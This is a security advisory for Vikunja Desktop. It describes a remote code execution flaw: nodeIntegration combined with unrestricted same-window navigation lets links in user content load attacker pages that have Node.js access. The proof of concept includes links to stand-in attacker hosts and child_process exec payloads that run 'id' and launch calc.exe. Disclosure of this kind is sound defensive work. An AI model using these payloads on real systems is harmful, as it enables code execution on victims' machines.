Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables "nodeIntegration" in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue. Root cause Two misconfigurations combine to create this vulnerability: 1. "nodeIntegration: true" is set in "BrowserWindow" web preferences ("desktop/main.js:14-16"), giving any page loaded in the renderer full access to Node.js APIs ("require", "child_process", "fs", etc.). 2. No "will-navigate" or "will-redirect" handler is registered on the "webContents". The existing "setWindowOpenHandler" ("desktop/main.js:19-23") only intercepts "window.open()" calls (new-window requests). It does not intercept same-window navigations triggered by: - "<a href="https://...">" links (without "target="_blank"") - "window.location" assignments - HTTP redirects - "<meta http-equiv="refresh">" tags Attack scenario 1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project). 2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: "<a href="https://evil.example/exploit">Click here for the updated design spec</a>" 3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: "frontend/src/views/project/ProjectInfo.vue" uses "v-html" with DOMPurify-sanitized output. 4. The victim uses Vikunja Desktop and clicks the link. 5. Because no "will-navigate" handler exists, the BrowserWindow navigates to "https://evil.example/exploit" in the same renderer process. 6. The attacker's page now executes in a context with "nodeIntegration: true" and runs: "require('child_process').exec('id > /tmp/pwned');" 7. Arbitrary commands execute as the victim's OS user. Impact Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient. Proof of concept 1. Set up a Vikunja instance with two users sharing a project. 2. As the attacker user, edit a project description to include: "<a href="https://attacker.example/poc.html">Meeting notes</a>" 3. Host poc.html with: "<script>require('child_process').exec('calc.exe')</script>" 4. As the victim, open the project in Vikunja Desktop and click the link. 5. calc.exe (or any other command) executes on the victim's machine. Credits This vulnerability was found using "GitHub Security Lab Taskflows" (https://github.com/GitHubSecurityLab/seclab-taskflows).